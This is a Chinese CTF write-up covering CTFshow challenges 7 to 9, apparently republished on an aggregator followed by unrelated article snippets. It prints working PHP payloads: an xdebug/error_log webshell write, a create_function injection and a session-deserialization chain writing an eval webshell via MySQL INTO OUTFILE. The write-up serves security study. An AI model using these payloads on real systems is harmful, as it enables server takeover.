[CTFshow 红包挑战] 刷题记录

文章目录

    • 红包挑战7
    • 红包挑战8
    • 红包挑战9


红包挑战7

考点:xdebug拓展

源码

 <?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

分析一下
error_reporting(2);这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤

我们简单测试下,发现flag的位置
在这里插入图片描述那么我们的问题就是如何读取

思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本题的路径为/usr/local/lib/php/extensions
在这里插入图片描述读取一下,发现存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在这里插入图片描述结合本题特殊的error_reporting(2),翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在这里插入图片描述访问/hack.php,然后再修改命令即可

在这里插入图片描述

红包挑战8

考点:create_function注入

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下

?name=){}system('tac /flag');//

在这里插入图片描述

红包挑战9

考点:session反序列化

题目是给了附件的

我们先看common.php

<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打码'username' => '****',//敏感信息打码'password' => '****',//敏感信息打码'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('数据库连接失败:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}

不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码

public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值

我们访问main.php,发现存在调用getLoginName()

<?php$name =  $app->getLoginName('user');if($name){echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{include 'login.html';
}

而要想访问main.php调用此方法就要继续看到index.php

<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登录失败";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break;    case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注册成功,请登陆");}else{echo "注册失败";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}

可以发现启用session_start();(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可

思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类

class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}

verify()首先用|将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化

cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);,我们可以将注册的用户名添加一个|,然后拼接的时候就会出现两个|,也就是数量为3实现返回null

注册用户名rev1ve|666,登录得到cookie
在这里插入图片描述然后我们简单构造字符串

<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我们可以访问log.txt看看(带上cookie),发现成功写入
在这里插入图片描述
那么我们getshell的方式就是写马

题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND

连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我们看向mysql_helper类,执行命令如下

public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法

private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}

往下看,发现debug的值为True才行

public function __destruct(){if($this->debug){$this->log_last_user();}
}

exp如下

<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接随便抓包一个界面,修改cookie为我们注册rev1ve|666的,添加payload
在这里插入图片描述
然后成功访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/212052.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1832_org-mode的注释处理

Grey # :OPTIONS ^:nil org-mode的注释处理 关于这部分其实比较简单&#xff0c;在我现在的使用诉求上来说要求不多。但是我觉得如果考虑以后把文学式编程作为一种开发的主要体验的话&#xff0c;掌握这样的操作很有必要。因为我可以控制部分信息的输出。 自然&#xff0c;控…

LeetCode-数组-重叠、合并、覆盖问题-中等难度

435. 无重叠区间 我认为区间类的题型&#xff0c;大多数考验的是思维能力&#xff0c;以及编码能力&#xff0c;该类题型本身并无什么算法可言&#xff0c;主要是思维逻辑&#xff0c;比如本题实际上你只需要能够总结出重叠与不重叠的含义&#xff0c;再加上一点编码技巧&#…

Verilog基础:$random系统函数的使用

相关阅读 Verilog基础​编辑https://blog.csdn.net/weixin_45791458/category_12263729.html $random系统函数语法的BNF范式如下所示&#xff0c;有关BNF范式相关内容&#xff0c;可以浏览以往文章Verilog基础&#xff1a;巴科斯范式(BNF)。 $random系统函数在每次调用时返回一…

【IDEA】IntelliJ IDEA中进行Git版本控制

本篇文章主要记录一下自己在IntelliJ IDEA上使用git的操作&#xff0c;一个新项目如何使用git进行版本控制。文章使用的IDEA版本 IntelliJ IDEA Community Edition 2023.3&#xff0c;远程仓库为https://gitee.com/ 1.配置Git&#xff08;File>Settings&#xff09; 2.去Git…

[gRPC实现go调用go]

1什么是RPC RPC&#xff1a;Remote Procedure Call&#xff0c;远程过程调用。简单来说就是两个进程之间的数据交互。正常服务端的接口服务是提供给用户端(在Web开发中就是浏览器)或者自身调用的&#xff0c;也就是本地过程调用。和本地过程调用相对的就是&#xff1a;假如两个…

深度优先遍历(DFS)

时间复杂度与深搜一致&#xff1b;

STM32 定时器总结

缩写 ARR: Auto-Reload Register&#xff08;保存定时器的计数范围&#xff09; PSC: Prescaler register&#xff08;预分频器寄存器&#xff0c;根据设置的分频因子N&#xff0c;计数N个定时器时钟脉冲后&#xff0c;产生一个CNT计数&#xff0c;以此实现分频功能&#xff0…

Android渲染-AHardwareBuffer

本文主要从应用的角度介绍android的native层AHardwareBuffer创建纹理以及保存渲染数据。 HardwareBuffer 要介绍native层的AHardwareBuffer&#xff0c;就需要先从Java层的HardwareBuffer说起。Android官方对于HardwareBuffer介绍如下&#xff1a; HardwareBuffer wraps a na…

基于SSM的点餐系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

【已解决】解决UbuntuKali无法进行SSH远程连接

目录 Ubuntu20.04配置SSH远程连接Kali Linux配置SSH远程连接 Ubuntu20.04配置SSH远程连接 首先更新安装包 sudo apt-get update 下载SSH服务 sudo apt install openssh-server 查看SSH服务 service ssh status 打开 /etc/ssh/sshd_config文件修改配置文件 将PermitRootLog…

12.视图

目录 1.视图的含义与作用 2.视图的创建与查看 1.创建视图的语法形式 2、查看视图&#xff1a; 1.使用DESCRIBE语句查看视图基本信息 2.使用SHOW TABLE STATUS语查看视图基本信息查看视图的信息 3.使用SHOW CREATE VIEW语查看视图详细信息 4.在views表中查看视图详细信息…

案例015:基于微信小程序的校园防疫系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

wangzherongyao milaidi

王者荣耀米莱狄&#xff0c; 1&#xff09;大多数人知道的是这个英雄很能拆塔&#xff0c; 2&#xff09;他也有个致命缺陷&#xff0c;当对面有前排&#xff0c;同样拆塔的时候&#xff0c;他也清不动线&#xff0c;而且对于前排来说他的爆发力远没有安其拉等爆发型顺伤秒伤…

论文阅读_反思模型_Reflexion

英文名称: Reflexion: Language Agents with Verbal Reinforcement Learning 中文名称: 反思&#xff1a;具有言语强化学习的语言智能体 文章: http://arxiv.org/abs/2303.11366 代码: https://github.com/noahshinn/reflexion 作者: Noah Shinn (Northeastern University) 日期…

docker 一键寻找容器在服务器存储位置

docker ps -a找到容器id/容器名称 docker inspect 容器id/容器名称 | grep UpperDir找出该容器在物理机的位置 inspect作用:查看docker详细信息 cd到UpperDir所指向的地址&#xff0c;找到配置文件并修改,到这后,这个位置和你用exec命令进入容器内看到文件是一致的

AtCoder Beginner Contest 328

A - Not Too Hard (atcoder.jp) AC代码: #include<bits/stdc.h> #define endl \n //#define int long long using namespace std; const int N10; int s[N]; int n,x; void solve() {cin>>n>>x;for(int i1;i<n;i) cin>>s[i];int ans0;for(int i1;…

反汇编语言区分函数和运算符

在汇编语言中&#xff0c;函数和运算符可以通过一些特定的指令和约定来区分。 函数&#xff1a; 函数通常由一系列指令组成&#xff0c;用于执行特定的任务或操作。函数通常具有入口点和出口点&#xff0c;分别表示函数的开始和结束位置。函数通常包含参数传递、局部变量的分配…

windows错误事件 98、41、7000、55、153解决办法

事件错误&#xff1a;98、55、153 疑难解答清单 在系统事件日志中&#xff0c;搜索新技术文件系统 (NTFS) 和磁盘相关的警告和错误。 例如&#xff0c;事件 ID 55、153 或 98。 管理员身份打开CMD&#xff0c;运行命令 chkdsk /scan 并检查结果。 该 chkdsk /scan 命令是只读…

ICMP协议以及报文讲解(ICMP查询报文、ICMP差错报文)

目录 ICMP协议 ICMP报文格式 ICMP回显请求/应答报文 ICMP差错报文 ICMP 宿主机不可达差错报文 ICMP 重定向差错报文 ICMP TTL超时差错报文 ICMP协议 ICMP协议的作用 ICMP&#xff08;Internet Control massage protocol&#xff09;因特网控制协议&#xff0c;主要用来…

C语言再学习 -- 单精度(float)和双精度(double)浮点数 与 十六进制(HEX) 之间转换(转载))

之前讲过浮点数部分&#xff0c;参看&#xff1a;C语言再学习 – 浮点数 现在程序中要将浮点数&#xff0c;通过TCP发送。那得先将其转换为十六进制才行呀。 那么问题就来了。 参看&#xff1a;C语言&#xff1a;单精度(float)和双精度(double)浮点数 与 十六进制(HEX) 之间…